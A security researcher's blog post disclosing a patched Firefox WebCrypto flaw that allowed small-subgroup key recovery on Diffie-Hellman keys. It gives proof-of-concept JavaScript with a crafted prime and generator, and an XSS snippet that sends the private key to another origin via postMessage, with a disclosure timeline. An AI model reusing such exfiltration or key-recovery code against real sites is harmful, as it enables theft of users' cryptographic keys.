The Curious Case of WebCrypto Diffie-Hellman on Firefox - Small Subgroups Key Recovery Attack on DH

tl;dr Mozilla Firefox prior to version 72 suffers from Small Subgroups Key Recovery Attack on DH in the WebCrypto's API. The Firefox's team fixed the issue removing completely support for DH over finite fields (that is not in the WebCrypto standard). If you find this interesting read further below.

Premise

In this blog post I assume you are already knowledgeable about Diffie-Hellman over finite fields and related attacks. If not I recommend to read any cryptography book that covers public key cryptography. Here is a really cool simple explanation by David Wong:

I found a cooler way to explain Diffie-Hellman :D pic.twitter.com/DlPvGwZbto

— David Wong (@cryptodavidw) January 4, 2020

If you want more details about Small Subgroups Key Recovery Attack on DH I covered some background in one of my previous post (OpenSSL Key Recovery Attack on DH small subgroups (CVE-2016-0701) ). There is also an academic paper where we examine the issue with some more rigors. If you want to read the original attack I recommend the Lim-Lee's seminal paper.

Introduction

The Web Cryptography API is a specification that describes a JavaScript API for performing basic cryptographic operations in web applications. This was always a controversial topic between people in the crypto arena and you can read some eminent opinion in the wild e.g. :

• Thomas Ptacek initial post that was totally against the idea idea of having cryptography in browsers: Javascript Cryptography Considered Harmful
• Tony Arcieri updated view (still skeptical though): What’s wrong with in-browser cryptography?
• Thai Duong more optimistic view in  Javascript Crypto Is Useful

all beautifully summarized in Krzysztof Kotowicz's blog post: JS crypto goto fail?

Said that this post is not about the usefulness of WebCrypto so I'll spare you my opinion on the topic :p

WebCrypto API

Ok you might say, now we have three paragraphs about WebCrypto but how is this looking like? Luckily the good diafygi comes to the rescue with a full page of examples

WebCrypto API Live table

So how can I encrypt a message using WebCrypto API? Here is an example from that page:

Really simple no? In a similar way of encrypting using AES-GCM the WebCrypto API provides you simple ways for using HMAC, RSA, ECDSA, ECDH and so on... Beautiful. So how popular is this API? Luckily we can even have an answer for it thanks to telemetry (and Franziskus Kiefer that showed it to me):

WebCrypto Firefox Telemetry

The graph above is taken directly from Firefox's telemetry but what are those weird numbers? Well in order to make some sense out of it you need to look at the source code!!! :

So for some weird reason AES CBC is the most used method in Firefox nightly 72 followed by the two SHA methods.

WebCrypto Security

There are many places in the web where WebCrypto security is discussed in depth. Some pointers are Harry Halpin slides delivered at Security Standardization Research Conference or Tim Taubert talk at JS Conf.  Said that, this is the way a Juraj Somorovsky (a colleague of mine at Ruhr-Universität Bochum) described it and I found the parallelism great:

So what does it mean? Well basically when a cryptographic key is created/imported, there is an extractable property that if set to false will not allow (as the property name hints) the extraction of raw key material (aka the value of the key).  So even if an attacker will be able to gain XSS privilege he will not be able to steal the key!!. See the  example below :
In this example an exception is caught  and logged at line 29:
DOMException: "A parameter or an operation is not supported by the underlying object"
The reason is because the key is declared as not extractable at line 7.

WebCrypto DH

So we arrived to talk about WebCrypto DH. Let's go directly to the point. Diffie-Hellman over finite fields (DH from now on) is not in the WebCrypto specification and is (until today) implemented only by Mozilla Firefox (for the record from Elliptic Curve Diffie-Hellman -ECDH is instead part of the specification). This was argument of  a little debate during the specification development but at the end Ryan Sleevi made the point (BTW Google Chrome never implemented it)
For some reason Mozilla Firefox decided to keep the implementation of  WebCrypto DH. Now a typical potential WebCrypto DH scenario usage is the following:

1. Alice generates a DH key pair and send to Bob 
2. Bob generates his own key pair
3. Bob can now derive a shared secret to use for example as a secret key for AES-GCM encryption (as above)

The Bug

Pfiuuu so let's talk about the bug. One of the biggest criticism that people makes about DH is that the choice of parameters is error prone. Indeed differently from ECDH where the set of curves to use is limited (P-256 and Curve25519 are probably covering almost 100% of the use cases) for the finite field case it is possible to use any prime number that is sufficiently large (also for this case exist some specification that suggest some specific numbers, see also my previous post). In order to avoid most of the attacks a prime number used for DH needs to cover two important requirements:

1. Being sufficiently large (at least 2048 bits in 2019)
2. Being p the prime number chosen p-1 needs to be not smooth (again refer to my previous 2 posts for more details 1,2). Many primes in the specifications are so called safe primes in order to meet the non smoothness requirement.

Now let's assume a website implement the scenario depicted above with a safe prime taken from some IETF specification and let's also assume an attacker was able to gain some XSS privilege in this website. The following snippet shows how the attacker will be able to recover the private key using the Small Subgroups Key Recovery Attack (I am a biiiiiiit lazy and I extracted only the key modulo 5, a full attack would use several prime numbers and then Chinese Remainder Theorem- CRT to recover the full key, again you can find full explanation in my previous OpenSSL blog post).
The vulnerable code is the one at line 7 and line 8 :

const MALICIOUS_PRIME = new Uint8Array([129,0,0,0,0,0,0,0,0,0,0,0,0,0,0,17]);
    // this generator has order 5

const MALICIOUS_GENERATOR = new Uint8Array([46,35,147,92,93,21,176,170,70,144,93,164,112,85,178,126]);

privateKey.algorithm.prime = MALICIOUS_PRIME;
privateKey.algorithm.generator = MALICIOUS_GENERATOR;    

Let me explain, what the attacker achieved here was to:

1. Craft a malicious prime number (the prime number used in this example is 171470411456254147604591110776164450321 that has p-1 equals to 2^4 * 5 * 23 * 2082757 * 744748579247 * 60079053324863537  (so it is kind of smooth)
2. Forge a malicious generator (in this example I used a generator of order 5, see also the p-1 above)
3. Redefine the generator and the prime associated with the existing private key!!!! (THIS IS THE REAL BUG)
4. Repeat this with many prime numbers/generators
5. Use CRT to recover  the full private key

Well that's about it. Luckily as the telemetry data showed this API (but the WebCrypto API in general is not really used/popular) so Firefox could safely remove completely this non standard API rather than fix the bug.

Demo Time

You can find a simple demo at https://asanso.github.io/firefox/victim.html . It simply does an alert() with the extracted private key modulo 5. As said I was a lazy to implement the full attack (sorry :( ) but I hope you got the point. As a bonus point though I added some little snippet on how an attacker could exfiltrate the key using postMessage:
    //XSS starts here
    //exfiltrate the privateKey through postMessage
    //the attacker receiver domanin can of course be different
    var ifr = document.createElement("iframe")
    ifr.src = "https://asanso.github.io/firefox/receiver.html"
    ifr.id = "frm";
    document.body.appendChild(ifr);
    var frm = document.getElementById('frm').contentWindow;
    frm.postMessage(kpE.privateKey,"https://asanso.github.io/firefox/receiver.html");

The fix

As a fix Firefox Security team decide to remove support for DH from WebCrypto API entirely (you can find the site compatibility note here), but not before adding telemetry for DH use in WebCrypto API. As a result starting with Firefox version 72 DH WebCrypto is not anymore shipped/supported.

Disclosure timeline

27-06-2018 - Reported the issue via bugzilla: Bug 1471684
28-06-2018 - Firefox security team confirmed the vulnerability (setting impact to Moderate)
28-03-2019 - Bug 1539578: Add telemetry for DH use in WebCrypto API was created
28-10-2019 - Bug 1564509: Remove support for DH from WebCrypto API (not in spec) was created
07-01-2020 - Firefox 72 containing the fix was released

Acknowledgement

I would like to thank Franziskus Kiefer and all the Firefox Security team, as usual you rock!

That's all folks! For more Crypto stuff follow me on Twitter.